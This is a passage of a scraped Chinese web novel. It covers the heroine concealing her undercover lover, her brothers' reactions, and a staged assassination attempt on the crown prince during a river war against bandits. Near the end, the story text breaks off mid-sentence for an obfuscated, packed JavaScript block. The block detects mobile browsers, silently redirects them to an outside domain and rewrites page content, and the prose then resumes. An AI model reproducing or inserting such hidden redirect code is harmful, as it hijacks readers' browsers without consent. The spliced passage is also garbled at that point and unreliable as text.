喻初晴昨夜折腾得太狠,一觉睡得很沉,身体的疲劳是一扫而空,但精神状态却是十分倦懒。 闻言不由一怔:“三哥出手了?” 她首先关心:“萧狗子没事吧?” “三公子暗器手法精妙,好在王爷躲闪得快,看样子是无碍。”覆雨应道:“但……我看三公子的态度,怕是会跟县主兴师问罪。” 所谓的兴师问罪,喻初晴倒是不怕。 既然覆雨已经用了那个说辞,她一口咬死就是了。 喻慕文顶多不认同她的做法,却不会对她如何。 果然。 他们晌午出发回临夏山庄,一直很沉默的喻慕文才终于开口:“晴晴,你昨夜跟何人会面?” 看得出来,他从早膳开始斟酌到现在,还是决定问出口。 喻初晴按照覆雨的说法说了一遍:“那个安插在敌营的人。” 没说谎。 只是也没把事实说清楚。 喻慕文看着她。 她眼里全都是坦坦荡荡,没有半点心虚,眸光盈盈地与他四目相对。 喻慕文顺着这说法,道:“既然人在敌营,送消息出来也便罢了。为何大老远跑过来,岂非很冒险?你是未婚女子,他深更半夜地闯入你房中,总是不妥!” 喻初晴心道:若你知晓我们不但深夜私会,还早就有肌肤之亲,怕是更觉不妥。 面上却是不慌不忙,笑道:“三哥,我同大哥商讨过这个问题。大哥认为,只要我喜欢,养十个八个男宠都没问题!我不该被世俗束缚,只要活出自己想要的样子即可。” 喻慕文瞳孔地震。 他迟疑了许久,才终于消化了她的意思,道:“大哥真这么说?” “是的。”喻初晴垂首低笑,道:“大哥让我体会到了,五代独传的姑娘,到底有多金贵!” “看来……”喻慕文深吸一口气,坦然接受了这个事实,道:“我们晴晴,以后真的是要招赘的了。” 既然是下一任家主都这么说了,他也不好再说什么。 他揪住一个重点:“所以,昨夜那个人,是你的男宠?” 何其聪明的人,一点就通:昨夜那个男人,不是什么单纯送消息来的,而是晴晴暗中相好的对象! 他还是很难想象。 毕竟,他妹妹看起来多么温和乖巧的一个人啊,即便有些腹黑,聪明劲儿全部用在了刀刃上。 他想过,她与众不同。 但他从未想过,她能这般出格,简直是惊世骇俗! 面对“男宠”二字,喻初晴抿了抿唇,决定给萧风岚正名,道:“算相好的,不算男宠。” 顿了顿,她又补了一句:“待他与太子里应外合,把响马盗解决完了,我们也从祖籍回来了。届时,我会带他面见爹娘。” 喻慕文再一次吃惊:“你要跟此人谈婚论嫁?” 他这个妹妹,还真的是闷声不吭做大事的典范! 她总是这样,在你以为她显山露水了、即将看见她的全部的时候,再一个转弯就会发现—— 你看到的不过是九牛一毛! “大概吧。”喻初晴给了个模棱两可的答案:“暂时有这个想法。但万事无绝对,等到时候再说吧。” 按她本心,今年才十七岁的她,并不想这么早成亲。 她有能力,是否结婚真的不重要。 目前有两件事,逼得她不得不考虑婚嫁: 其一,皇帝、皇后、太子,都在惦记她。那她早点找个挡箭牌,只要萧风岚不搞事,成亲就成亲。 其二,萧风岚的确是即将年满二十,虽说他已经跟皇帝要了自由婚嫁的密旨,但有些事不好说,万一被算计了呢? 萧风岚本是纯情少年,是她看中他,非要拽他入局的,对他负责也无不可。 她喻初晴的男人,只要她一日没放手,别人休想染指! “他……”喻慕文为她说的“暂时”震惊:“婚嫁就婚嫁,还有暂时的?” 第178章 权衡利弊、锦上添花 喻初晴没忍住笑了:“世事无常,很多事都是说不定的。” 喻慕文深深吸了一口气,道:“罢了,既然你与大哥说过这些事,大哥都没意见,三哥自然也不会有。” 旋即他又有些好奇:“他是个什么样的人?” 喻初晴唇角勾着一抹浅笑,认真思忖了一会儿,吐出一个词儿:“绿茶小狗!” 什么是绿茶小狗,喻慕文无法体会。 喻初晴给他解释了一下:“就是作天闹地的作精,粘人、能屈能伸;有本事,却愿意伏低做小。” 顿了顿,她补充一句最重要的:“重点是,听话,能给我情绪价值。” 喻慕文心想:我妹妹内心太过强大的一个人,能取悦她、给她情绪价值的确不容易! 足够强大的人,内心不缺爱,不需要从别人身上获取爱意。 甚至,她可以将爱意赠与他人! 她想要的所有东西,通过自己的努力唾手可得,那么,能让她放进眼里的东西,已然不多。 因此,太子的“爱意”、“求亲”,是多少人艳羡的事,她却不屑一顾;皇后的拉拢、热捧,她宠辱不惊;皇帝面前,帝王威严压下来,她依然能不卑不亢。 想到这个,喻慕文没忍住问:“其实你当时,完全可以不回喻家、不认我们。为什么你还是回来了?” 当时她不知道喻家背后情况,于她而言,认了他们相当于多了累赘! “权衡利弊的结果。”喻初晴的回答很简单:“我虽然能自立自强,但并非所向披靡。独木难支的道理,我是懂的。认回血脉至亲,培养得当,未来一定会是我的助力、是我的后盾、甚至能成为我的盔甲。” 她一点儿也不介意把心里话说出来:“在知道我是喻家女儿后,我派人查过你们。虽然没有查出来幕后背景,但兄弟们的状态,我很满意。” 说到这里,她笑了下,又道:“一个从商、一个从武、一个从文,还有个小的也很聪明、能干,尤其是勤奋,很有可塑性,想要他学什么都完全可行。” 对上喻慕文讶然的眼神,她一摊手:“父母恩爱,并且恩爱到当世少见。这样的家庭,我找不到一点拒绝相认的理由。” “当时以为喻家很穷,但我不穷啊!我完全可以带飞所有兄弟!” “亲情对我而言不是必需品,单纯是锦上添花。感情是培养出来的,我回来以后,诚心诚意相待,若遇上的还是白眼狼,那我即刻抽身也不迟。但若是被真心相待,那岂非捡到了?” “三哥,你会不会觉得,我是个功利性特别强的人?” 说起来,她不但功利性强,她也是利己主义者。 只是,她跟桑怀安那种精致利己主义者的不同在于:她不丧良心!处于君子爱财取之有道的范畴内! “挺好的。”喻慕文早就思考过类似的问题了,而喻初晴的答案,与他原本设想的差不离。 他感慨说道:“原以为妹妹是需要哥哥保护的,不曾想,我妹妹强大到……可以保护所有人!” “那倒没有。”喻初晴在这点上是不敢托大的:“天外有天,人外有人。我只是比别人多努力亿点、多思考亿些罢了。” 喻慕文也不知道为何,神奇的直觉告诉他:“你说的这一点……不是一二的一吧?” 喻初晴笑出声来,道:“嗯,多想、多做、多努力,总是没错的!” 同样身为卷王的喻慕文,顿时被她振奋了精神:“说得不错!妹妹这么厉害,当哥哥的还要加把劲儿才行。虽然我明知道,再怎么追,也是比不过你的。” 他有学问,会武功,君子六艺样样出色。 但,喻初晴才十七岁,通过她个人的努力,非但拥有学识,甚至已经拥有了品级、财富、人脉! 再给他奋斗十年,依然拍马难追。 更何况,在他努力的同时,她并不会停下脚步歇息。 “三哥有三哥的定位。”喻初晴笑道:“大哥说的对,每个人都有自己应该做的事。他的责任、他的理想,是承担起家主之责。那么三哥你呢?” “未曾想过。”喻慕文是真没想过这个问题:“不过,在你回家之前,我与二哥的将来,大概率是辅佐大哥的。但你回来了,以后就不一定了。” “一文一武。”喻初晴点点头,道:“这样也好。” 转而,又道:“未来的事不好说,还是走好眼前每一步最重要。” 关于夜会男人的事,也就说过去了。 但喻慕文还是提醒她:“即便是招赘,我们还是希望你找一个拿得出手的人。” “放心吧。”喻初晴眨了眨眼睛,道:“我眼光很高的!” 回到临夏山庄,正好赶上一家子吃晚饭。 饭桌上,喻初晴开门见山地道:“大哥,有件事我想请你帮忙。” “你说。”喻昔词见她表情严肃,放下了筷子。 喻初晴便道:“若太子凯旋归朝,劳烦大哥找江湖上的帮手,阻挠太子顺利回京,尽量拖延他的时间!” 喻惊鸿纳闷了,问:“为何?” 他没想到,喻昔词想到了:“你怕他回去后,便让皇帝下旨赐婚?而我们赶不及,会被他捷足先登?” “对。”喻初晴颔首:“虽然我这么想,有自恋嫌疑。但,也不是没有这种可能!要提前防备,哪怕一丝一毫的几率也不能让这种事发生!” “不错。”喻慕文也道:“到时候他抢先一步,等到我们回去后,就来不及了!” 喻昔词答应了:“好,我立即送消息出去,让人盯着。” 喻惊鸿又问:“我们只要能渡河,回去认祖归宗后,若晴晴想早点回去,也是可以的。但太子真能这么快,就把响马盗解决吗?” “能。”喻初晴说得很肯定:“只不过,不是太子自己一人的功劳!” 她与萧风岚商讨的计划,可以说如果单靠太子,快不了一点。 重点依然在萧风岚身上! 淮明郡。 萧风岚回来后,检查了一遍暂居的小院,确定没有任何问题。 接下来几天,他也没有在外面走动。 一直到,他左臂的伤口完全好了,才开始出门。 他盯上了常家军淮明大营出来采买食材的队伍! 第179章 他深谙此道! 带头采买食材的其中一人,正巧是张四。 张四跟俞青感情非常好,既然遇上了,俞青肯定会主动上去帮忙。 别看俞青干啥啥不行闯祸第一名,他四肢不协调,但算术贼灵通。 算数很糊涂的张四,大为感激,好兄弟地将俞青带回了淮明大营,还专程到常胜常利兄弟二人面前,给俞青邀功。 “总舵主、副舵主!原先我还以为,俞兄弟是个读书人已经很厉害了,没想到啊,他竟然算术也这么强!今日的采买,小弟算的糊涂账差点被小贩坑了,幸得俞兄弟在,三下五除二就把账给算清楚啦!” “没错,我俞兄弟是有自己独特本事的。”常利一听,很是高兴地问:“俞青,你的伤都好了么?” 有一说一,俞青不在营地的这十多日,耳边没有人呱噪叽叽喳喳了,他还真不习惯。 重点是:这俞兄弟啊,实在是太让他有成就感了。 萧风岚笑得满脸天真无邪:“都好啦!我不是说过嘛,我很强壮的!伤早两日都好了,只是……” 说着说着,脸色就不怎么好看了,小眼神朝王瑞鹏那边瞟过去,扁嘴道:“担心王堂主不欢迎我,所以我没敢吱声。” 他嘴巴朝张四这边努了努,道:“也是碰巧遇上张哥,他盛情邀请,不然我还不敢回来呢!” 实在是太自然,没有半点矫揉造作的痕迹,叫人一看就觉得他好委屈。 一个人,若自己觉得自己委屈,那是常有的事。 但若能轻描淡写三言两语之下,就让所有人都觉得自己委屈,那才是本事! 即便是王瑞鹏很不喜欢他,这一瞬间都忍不住会想:难道我把他赶走,还赶错了? 但不管怎么说,人是自己砍伤的,王瑞鹏还是勇于认错:“既然伤养好了,只盼你日后在大营里安分守己,别再添乱了!” 他跟常家兄弟是十几岁便在一起混的交情,俞青不在这段时日,没少受常利白眼,所以他也想修复关系。 倒是俞青——萧风岚很是好哥们儿地道:“没事没事,王堂主是常二哥的兄弟,也是我的兄弟!我这人比较笨,做事确实不利索,王堂主多多包涵哈!” 这件事,这么说也是翻篇了。 萧风岚没有急着献策,而是住在自己的小帐篷里,闷头待了两日,除了吃饭基本不出来走动。 为此,常利专门过来找他。 “俞兄弟,你是不是身子不舒坦?” 虽说他闯祸太厉害,可常利还是担心一个小太阳似的人,因为这次的事情损失了阳光心性。 尤其担心他记恨自己把他送走的事。 孰料,进了俞青的帐篷,看到的却是一堆涂涂画画了很多东西的稿纸! 小桌案上、地上、板床上,到处都是,几乎没有下脚的地儿! “二哥来了?”萧风岚从一堆纸张里抬起头来,面色憔悴,眼底青黑,但一双眼眸却炯炯有神、灿亮无比! 他兴奋不已地站起来,身上的稿纸稀稀落落掉在地上。 “二哥来得正好,我养伤几日在外面走动,忽然想到了一个自觉非常好的妙招!但是呢,没有经过演示,也不知晓是不是个好主意。故而这两日我便一直在琢磨,推敲了这一招是否可行。” “你是在画军事阵图?”常利很是诧异,随手捡了一张拿在手里看。 萧风岚在桌案上翻找了好一会儿,终于找到自己做了记号的那张图纸,递给常利:“常二哥你看,这是我设想的三百五十七号,前面的都推翻了,目前为止这是最合理的一个方案!” 常利方才拿着看的那个,都看得微微吃惊了,此时再看萧风岚递给自己这张,更是震惊。 “你……是怎么想到这种法子的?”对比了手里拿着的那个,右上角写着“一百三十九号”。 显然,这是经过了两百多次反复打磨、改良过的阵图,虽说大致看上去差不多,但实际上却更详尽,几乎将一百三十九号所有缺陷,全部都修补了! “常二哥知道的,我以前被关在庄子上,都没能出来见世面。如今有机会了,可不得劲儿地看?虽说我在养伤,可也一直到处走动。” “有一天看几个孩童在水潭边玩游戏,那几个孩子扎了纸船,用浆糊黏在了一起,练成了一大片。我便想到了突破咱们目前两军僵局的办法!” “二哥你看。” “这边是咱们淮明郡,那边是长宁郡。咱们隔江相望,中间几乎有近百丈距离,咱们打不着他们,他们也够不上咱们。” “可是!他们都是北方的兵马,有一个致命的弱点——那就是不识水性!” “而咱们这边呢,兄弟们大多数擅长水战。” “故而,我便在想:或许,咱们可以扩大阵地——把船只连在一起,一路铺开到在朝廷弓箭的射程范围外。” “如此一来,兄弟们如履平地,咱们地盘外扩!” “这个时候,再让咱们的内应出手,把太子给暗杀了!趁着他们群龙无首的时候,咱们突然发动进攻!” 后面的,他就没说了。 很多时候,多说多错。 他深谙此道! 第180章 我要去长宁郡大营 即便萧风岚不说,常利自然会去思考:“你这法子还是不错的,咱们目前还没对太子下手,主要也是考虑到隔江太远了。等咱们的人成功渡过夏河,对方即便失去太子这个统帅,也已经能尽快安稳下来,我们无法保证一击即中。” 萧风岚抿唇微笑,并不说话,只是以崇拜的眼神看着常利。 常利身为常家军的二把手,关于作战,他自然会有自己的见解。 他很喜欢俞兄弟专注望着自己的目光。 那目光里充满了对自己的敬仰,谁能不享受? 他又道:“而你这法子,把咱们的地盘在江面上扩大了,弓箭射程范围约摸也就是四十丈。夏河约摸宽百丈,咱们就占据了六成优势,届时咱们的水兵率先潜水上岸,杀他们一个猝不及防,后续战船过江的胜率也就很高了!” 常利眸光扫过地上乱七八糟的纸张,斟酌片刻,道:“你立刻把东西收拾一下,可用的、能用的,拿去帅帐。我去让大哥召集所有堂主们,商议此事是否可行!” 对于他的谨慎,萧风岚没有半点失望,笑眯眯地道:“好嘞!” 目前占据胶着,一直拖延下去,粮草不够丰盈的一方,打不起持久战。 常家军说不好听,本是“乌合之众”,虽说合并起来之后纪律严明,但架不住是好些势力拼在一起的。 短时间因为吃到了胜利的红利,他们就很好管控,一旦时日见长,各自的本性露出来了,诸多问题便会显现。 所以,他们比吃皇粮的南征军,更迫切想要突破战局! 而他们已经商量了这么久都没有一个合适的方略,结果闯祸第一名的俞青,竟然提供了这么好的思路! 尤其是,他花了几日时间,画了三百多张阵图,一而再地打磨。 若非常利发现,他可能还没打算拿出来。 如此证明:他并非一时兴起,也不是灵机一动。 他是深思熟虑! 阵图交到了常胜的手里,在十二堂主手里传阅。 经过萧风岚的讲述,众人很好地理解了这张阵图的含金量。 经过数日探讨、推敲,十二堂主共有十人赞同,常胜拍板:“就按俞兄弟的阵图来办!” 常胜脸上全都是对胜利的憧憬:“俞兄弟,若咱们得胜、砍下太子的首级、再把长宁郡拿下,当算你立首功!” “嗐!”萧风岚被夸得有些难为情:“总舵主千万不要这么抬举我,我别的不图,就感激二哥留我在大营、带我见世面。如今的日子比之以前可是好了千百倍,只盼你们以后不嫌弃我笨,一直带着小弟!” 别人说这种谦虚的话,常家兄弟不一定全信。 可这话是从俞青这个憨憨嘴里说出来的,他们没有理由不信! “放心吧!”常利拍了拍萧风岚的肩膀——鉴于以前多次拍倒他,这一次力道非常轻,说道:“你就是我的亲弟弟,只要有哥哥们锅里有,就少不得你碗里有!咱们兄弟齐心、其利断金!” “谢谢二哥!”萧风岚笑得更憨了。 于是,常家军这边,便开始将船只连在一起,从夏河南岸朝江水中心铺开。 船只不够? 现造! 浮船做水面,反正对岸的弓箭也射不到,即便南征军收到了消息,对此也只能是干着急。 萧景明倒不算着急,他只是想不通:“他们这样做的目的,是缩短对战的距离。但他们要上北岸,咱们这边的兵马虎视眈眈,他们一上岸就是送死!” 喻尚武如今已经是太子亲卫中的贴身近卫了。 他说道:“太子殿下,想来他们是想要安排内应,以斩落你的首级为他们发动进攻的信号。” 对他的说法,清风明月都皱眉。 不是不认可喻尚武说的这种可能,而是这也太不尊敬太子殿下了! “哼!”萧景明倒是不介意喻尚武说什么。 他又不是第一天认识喻尚武,焉能不知此人,说好听了叫“直来直往”,说难听了叫“没头没脑”! 他只笑敌军的天真:“既如此,那孤若是不给他们这个机会,都对不起他们了!” 说着,他转头吩咐:“明月,去把所有将领都叫过来,商议一个对策!” 喻尚武扛着锤子,转身就想出去。 “尚武。”萧景明喊住他:“你留下,共同商讨。” 喻尚武从善如流,把锤子放下,杵在地上。 等待军师与将领们前来的这点时间,萧景明难免想问:“尚武,初晴她……给你送消息了么?” “没有。”喻尚武如实回答:“消息都是我大哥送来的。” 萧景明点了点头,问:“有说初晴如何么?” 对于这点,没什么好隐瞒的,喻尚武答道:“挺好的。晴晴这个人去那里都能适应,就是盼着早点渡河。战局僵持在这儿,过不去夏河,就回不了祖籍。” 顿了顿,他抱拳行礼,道:“殿下,淮明郡拿下后,属下想告假,跟随家人认祖归宗。还请殿下成全!” “可以。”萧景明颔首:“拿下淮明郡,夏河通航了,你们便可渡河。” 说着,他感慨地道:“初晴一向闲不住,被困在北岸,也是难为她了。” 喻尚武:“……” 他想说:我妹妹才不为难呢! 事实如此。 喻初晴并不会觉得无聊,等着她做的事太多了,她从来不知无聊是何物。 隔几日她就会去一次望京城里,大半个月过去,她已经四处都游览了一遍。 中秋节的时候,她甚至还与喻慕文喻今歌二人一起,在城里赏花灯。 直到八月二十五这一天—— “响马盗的连船,已经全部都搭好了!” 收到这个消息,喻初晴跟家里人商量一件事。 “我要去长宁郡大营。” 第181章 一句话叫人闭嘴 老两口、两个哥都是愣住,诧异地看着她。 喻今歌没想那么多,反应比较快,脱口而出:“姐,你不会是想要去指挥作战吧?那军营里都是男人,你一个姑娘家多危险啊!” 他不是认为女子不宜从军,而是不想他姐被那么多男人盯着。 这一观点,喻慕文倒是很同意:“晴晴若是担心二哥不够用,不若我过去帮他。” 小弟的担忧不是没道理的。 尤其是军营里的男人! 那些男人都多久没见过女人了,万一兽性大发怎么办? 关键她长得这样好。 听到三儿子的说法,喻惊鸿立即点头:“是呀晴晴,让你三哥去。再不济,让你大哥去!你才是咱们家最贵重的存在,千万不要去冒险。” 喻初晴之所以提出想去长宁郡大营,主要是不想到时候计划出现什么差错。 毕竟,她二哥在长宁郡,她男人在淮明郡。 喻尚武还好,武力值逆天,可脑力值不够。 而萧风岚这边,则是怕他暴露! 尤其是萧风岚。 除了他自己带的人,没有其他人会去支援他,纵然他安插了人手进响马盗内部,却毕竟是杯水车薪。 她,不放心他! 所以,她非常坚定地道:“爹娘、大哥三哥,我是已经做好了决定,才跟你们说的。” 两军交战,卧底最难的是什么? 不是套取情报、发送情报,而是——交战的时候,己方人马不知自己是卧底,会将他当做敌人;而自己明知道对方是自己人,断然没有对自己人下死手的道理,偏偏不杀还不行,容易暴露身份。 若是在敌人面前暴露了,被他骗得团团转的响马盗,肯定想把他碎尸万段! 因此,一旦这一战开启,萧风岚没有支援、没有帮手,他太危险了! 然而这些理由,她都不适合跟家人说。 “晴晴……”喻惊鸿说的没用,白婉蓉温温柔柔地道:“不是娘觉得你没有本事,只是作为母亲,更希望你稳稳当当、平平安安!战场上刀剑不长眼,娘会担心你!” 自己的娘情商极高,喻初晴能不知道? 从不见她跟自家人生过气,但老公体贴爱护、儿子孝顺尊敬,能做到这样,白婉蓉怎么可能是个真正的闲妻凉母? 这番话说得,也是一点儿不让人反感。 但喻初晴内心坚定无比,白婉蓉说服不了她:“娘,我一定要去。” 白婉蓉极力看向喻昔词,期待大儿子能说点啥。 但喻昔词比家里任何人都要了解喻初晴。 她话都这么说了,谁还站出来劝阻,就是要闹不高兴了。 他退而求其次,道:“我与你同去。” 喻今歌当即举手:“我也去!” “胡闹!”白婉蓉不是很赞成:“今歌不去,免得到时候你大哥还得多护着你!” 喻今歌露出失望的神色。 反倒是喻昔词,竟然同意了:“无事,慕文也去,负责看今歌。” “昔词?”喻惊鸿诧异地看向他:“今歌年岁还小……” “就是年岁小,才要见世面。”喻昔词面色凛然:“十三岁,其实也不小了。过去他一直圈囿于一亩三分地,虽说没长歪,但还是不够。” 别说在他眼里,喻今歌不够,就是喻尚武喻慕文这双胞胎,在喻昔词的眼里也是见的世面不够多。 反而是喻初晴,武力值可能比不上他们,但综合实力比他们强太多! 这一对比,在他眼里:三个弟弟不行,菜就得多练! “好。”喻慕文第一个同意了。 他也不敢不同意啊! 但凡他敢说一个“不”字看看,今天肯定要被大哥念叨到他改口为止! 喻今歌这下高兴了:“那我要收拾什么东西呢?大哥,去了长宁郡大营,我也穿铠甲吗?” 喻慕文白了他一眼:“想多了。你最多能穿藤甲衣!” 普通小兵,就只能穿个藤甲! “啊!”喻今歌当场幻灭。 说去就去。 留了爹娘在临夏山庄,哥几个和喻初晴一起,在八月廿九日,抵达长宁郡大营。 因为提前送了消息,喻尚武骑着马出营,将他们领进了帅帐。 喻昔词依旧是商人打扮,喻慕文仍然是书生模样。 喻今歌稚气未脱的半大小子一个,另外还有个长得顶漂亮的永安县主。 这四人组合,看在所有人的眼里都是:比不上喻尚武一锤子! 军中的人孔武有力的多,喻昔词熊一样的身材,却架不住他儒商的打扮,手中还抓着一把羽扇,扇坠是个小小的金算盘。 怎么看都不构成威胁力。 遑论喻慕文这种戴着佛珠的书生,还有喻今歌那空有身高、瘦削瘦削的半大孩子了。 “喻兄,这几位是何人?你怎么带着他们来营地,也不怕刀剑不长眼!” 面对这样的质疑,喻尚武的回答简单粗暴:“有意见去问太子殿下。” 真诚是永远的必杀技,一句话叫人闭嘴。 喻今歌没忍住笑了:“二哥,看来你在太子亲卫中混得还不错嘛!” 喻尚武白了他一眼,懒得说话。 他会在太子身边待着,还不是为了晴晴! 在他的引领下,一行人来到了太子帅帐。 知晓喻初晴要来,萧景明一大早便有些坐不住了。 直到见到喻初晴的人了,雀跃不已的心才终于稳定了些。 “初晴,你来了。” 第182章 这便是传说中的宠爱! 原先喻初晴即便知晓太子对自己有点意思,也并不如何忌惮。 在她看来,身为太子更重要的应该是把握权势,哪怕萧景明性子略有些优柔寡断也没有关系。 却不想,他极有可能对自己产生威胁。 那就不能忍了! 但即便心里是这么想的,她脸上依旧挂着和煦的笑意:“初晴见过太子殿下!许久不见,殿下风采依旧。” 喻昔词等人也微微行了拜礼,但他与喻慕文的拜礼却不是太认真。 萧景明的注意力全都在喻初晴身上,自然没察觉她的兄弟对自己的敷衍。 他笑道:“不必多礼!” 说着,命人搬来了椅子,让一行几人坐下。 除了清风明月,其他人也都屏退了。 “军中艰苦,没什么好茶。初晴你将就一下。”萧景明命清风奉茶。 在随军条件上,他的确是个好太子,并没有因为条件比不得在帝京好,而有半点不满。 “谢殿下。”喻初晴坐在上首,唇角挂着温和礼貌的笑意,道:“我们兄妹几人过来,主要是在夏河北岸待了一个月,实在是无聊之极。我还不曾见过军营、战争,便央求兄长们带我过来,长长见识!” 她这个说法,放出去是要遭骂的。 战场是拿命在跟人拼的地方,结果在她这种贵女眼里,竟然当成玩闹! 但萧景明对她有滤镜,自然不会往这边想,而是道:“孤可带你巡营,待你看过之后便回去吧,毕竟随时可能开战,孤怕你有危险。” 喻初晴却表现出了很任性的样子:“我专门让兄弟陪我一起来,什么危险都不怕的。莫非殿下嫌弃我,怕我是个累赘?” 萧景明忙道:“孤没有这个意思,只觉得你当在后方,安安稳稳地等着捷报!” 他提出建议:“初晴,孤想送你去建京皇宫暂住一段时日,等待孤拿下淮明郡,再去与你会合。” 这种态度,别说喻初晴本人不喜,就是喻家兄弟都觉得太扯了! 他们家晴晴在他们眼里,就是身先士卒、且所向披靡的一个人。 怎么到了太子这里听起来,她就合该是待在后宅等着男人垂怜的呢? 喻昔词垂下眼帘,掩盖了眸中的不满。 而喻慕文手中的佛珠,一粒一粒捻得飞快。 喻今歌小炮仗没能忍住,道:“太子殿下,我姐只是个县主,住皇宫不太好吧?传出去,外界不知会如何编排她呢!” 萧景明一愣。 明月斥道:“喻小公子,怎可在殿下面前放肆!” 在他们眼里,自然是不太看得上喻家人的——在帝京这些权贵的眼里,喻家穷得很,都是沾了永安县主的福气,一人得道鸡犬升天! 否则,他们都还是农户之子,哪里容得他们在太子面前这般无礼? 萧景明偏头睨了明月一眼:“初晴是孤的救命恩人,她的兄弟便是孤的兄弟。明月,不可妄言!” 这话,喻家兄弟——包括喻尚武在内,没有一个乐意听的。 他们真想说:谁是你兄弟,少往自己脸上贴金! 但他们都忍了。 喻初晴说道:“多谢殿下美意,不过当真不用了。我今日过来,其实也不是要做什么,只想殿下允许我兄妹几人暂时在军中住几日。” “你要住下来?”萧景明诧异地看着她,问:“初晴,这很危险!” 喻初晴对上他关切的眼神,虽依旧面带笑容,眼神却不容质疑,道:“殿下,此节乃征讨响马盗最关键的时期,初晴希望亲眼看着殿下安然无恙。” 她如果找别的理由一定留下,很难说服萧景明。 但这么说,萧景明果然动摇了:“初晴是因为担心孤,所以才带着兄弟过来长宁郡的?” 喻初晴没有否认,但也没承认,只道:“殿下乃是储君,您的安危很重要。剿灭响马盗,我们一家子才能安全渡河回祖籍,故而……” 她顿了顿,才继续道:“初晴希望亲眼见到殿下得胜!” 话说到这里,太子肯定不会反对让她留下了。 该利用的就要利用! 眼前这位储君,其实跟大多数男人一样:说喜欢她,应该是有的。 但,男人的劣根性是什么? 高高在上、占有欲强,将女子当成所有物,心眼好一些的会对自己的附属物很好。 这便是传说中的宠爱! 萧景明想的便是:喜欢她,想得到她,给她太子妃的位置,便是给她的殊荣! 高位者的想法:我给你这些是恩赐,你应当感恩戴德。 所以他才会说:希望她在后方安安稳稳等他得胜! 喻初晴能接受这种么? 必须不能! 她还是喜欢娇娇软软的绿茶小狗! 但喻初晴会做表面功夫,萧景明听得很受用:“你想留下倒也不难,孤命人给你开两个帐篷便是了。只不过……” 他看了一眼喻尚武,道:“尚武知晓,孤有计划在身,怕是顾不上你。” “无妨。”喻初晴微笑:“只要殿下初晴等人留在军中,殿下的计划,我等亦可为您保驾护航!” 喻家兄弟四人:“……” 晴晴深谙语言艺术! 萧景明果然不再反对,命人搭了两顶帐篷,一顶给喻初晴以及腾云覆雨三人住,另外一顶则是给喻家三兄弟住。 喻初晴便在军中住下来。 面对将士对他们的质疑,她恍若未闻,只等自己想要的结果! 九月初三日。 太子近卫中的地方内应,终于动手了! “太子遇刺!” 第183章 用最无辜的语气,泡最浓的茶 太子**,对交战的两军来说都是大事。 “太子近卫中有五个暗桩,在太子巡营之时,于马厩外面齐齐奋起,刺杀太子。” “一场乱斗后,躲在暗处的**箭手对准了太子。太子躲闪不及,当胸中了一箭,内应打算上前砍下他的首级,无奈太子亲卫人手太多,并且还有个拎着锤子的……叫什么来着?” “喻尚武!” “对对对,就叫喻尚武!他好生厉害,单手将受伤的太子夹在腋下,另一只手拎着大锤,开了一条路。” “这不,咱们的人便失去了先机。” 听到这里,便有人问:“没能拿下首级,按这么说,那萧景明还活着?” “非也!箭上涂了金汁,虽然未能拿下他的人头,他也注定活不长了!” 淮明郡大营。 萧风岚坐在帅帐角落里的小板凳上,听了这些人的对话,并不担忧。 这本就是他们商量好的计谋。 箭上涂抹金汁是常见做法,如果萧景明真的无力回天的话…… 那也只能怪萧景明自己菜,算他倒霉! 只能说,希望他没事吧! “既如此,咱们是不是可以进攻了?”王瑞鹏最是着急,扛着他的长戟,恨不能立刻杀向南征军大营,将长宁郡拿下! 在响马盗里能当上堂主,并不是他的谋略有多厉害,而是他足够骁勇,不惧生死,一个劲儿往前冲。 在先前响马盗起势阶段,他这样的人是相当好用的。 狭路相逢勇者胜。 但真到了两军对垒,光有勇猛是不够的,谋略要更胜一筹。 这也是为何,常胜常利兄弟俩要亲自到淮明郡督战的原因! 常利第一个反驳:“谨防有诈,等其他内应传出确切消息,无论萧景明死没死,一定要确定他的确爬不起来了,咱们才能进攻。” 王瑞鹏和常家兄弟,过去是过命的交情。 但,因为俞青的事,王瑞鹏与常利之间的兄弟情,已经有了裂缝,完全比不上从前。 一听常利的话,他立刻提出质疑:“副舵主,咱们原先不是说好了,只要把萧景明杀了,就立刻过河吗?” “是。”常利对王瑞鹏的态度,也没有以前好——兄弟还是兄弟,可王瑞鹏容不下他的救命恩人,屡次不把自己这个副舵主放在眼里,怎么可能心无芥蒂。 他对王瑞鹏的态度,完全是公事公办,道:“原先的确是这样计划的,奈何现在的情况是:萧景明还没死!” “即便太子亲军中有不世神医,中了金汁也很难活的了!萧景明现在没死,咱们却是可以趁他病要他命!他卧床养伤,难道不是咱们最佳进攻时机么?” 王瑞鹏不能理解,话里全都是对常利的不满,一口一个反问:“难道,咱们要等他把伤养好,再真刀**地干一场?” 常利的脸色瞬间黢黑,脱口而出反对:“王兄弟,太子是主帅,几万兵马却并非他一人带领,他麾下还有不少良将!太子是趴下了,却不代表咱们就可以掉以轻心!” “常利!”王瑞鹏感受到了他对自己的针对,怒气一上头便难免冲动,开始了对人不对事:“你莫不是对我有什么意见!” 常利的确对王瑞鹏有意见。 原先王瑞鹏屡次难为俞青,他就不高兴了。 看在多年兄弟情份上,俞青也大度,原谅了、翻篇了。 但最近—— 搭船链的这段时间,俞青又几次三番被王瑞鹏刁难。 其中有三次动了手。 三次都幸亏有常利在,不然俞青小命都要掉在王瑞鹏手里! 常利很是厌烦王瑞鹏这个空有武力、不长脑子的莽夫。 此时,他堂堂的副舵主,被点名道姓地怒斥,他也端不住了。 他冷哼道:“你不要血口喷人!一码归一码,平日里,我的确因为你老是欺负我俞兄弟,而看你不顺眼,但这是开战的事,是常家军所有人的事,我不会夹带私怨、感情用事!” 王瑞鹏顿时语塞。 俞青猛地抬起头,眼里全都是感动,十分体贴地道:“常二哥,我说过了,我真的不要紧的。王堂主只是脾气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688535|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比较火爆,他没有恶意的,我亦不会往心里去。二哥莫要因为我,伤了兄弟们的和气。” 